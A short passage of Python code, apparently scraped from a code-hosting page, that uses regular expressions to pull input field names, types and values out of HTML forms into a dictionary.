inputs = re.findall(r'(?i)(?s)<input.*?>', response)
|
||||
for inp in inputs:
|
||||
inpName = re.search(r'(?i)name=[\'"](.*?)[\'"]', inp)
|
||||
if inpName:
|
||||
inpType = re.search(r'(?i)type=[\'"](.*?)[\'"]', inp)
|
||||
inpValue = re.search(r'(?i)value=[\'"](.*?)[\'"]', inp)
|
||||
inpName = d(e(inpName.group(1)))
|
||||
inpType = d(e(inpType.group(1)) )if inpType else ''
|
||||
inpValue = d(e(inpValue.group(1))) if inpValue else ''
|
||||
if inpType.lower() == 'submit' and inpValue == '':
|
||||
inpValue = 'Submit Query'
|
||||
inpDict = {
|
||||
'name' : inpName,
|
||||
'type' : inpType,
|
||||
'value' : inpValue
|
||||
}
|
||||
forms[num]['inputs'].append(inpDict)
|
||||
num += 1
|
||||
return forms
|
||||
Reference in New Issue
Block a user